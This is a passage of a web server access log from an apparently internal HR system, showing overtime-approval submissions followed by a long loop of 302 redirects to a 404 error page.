/eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132658%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132658&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:20 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:20 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132659%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132659&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132659%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132659&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:14:39:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:14:39:28 +0800] "GET 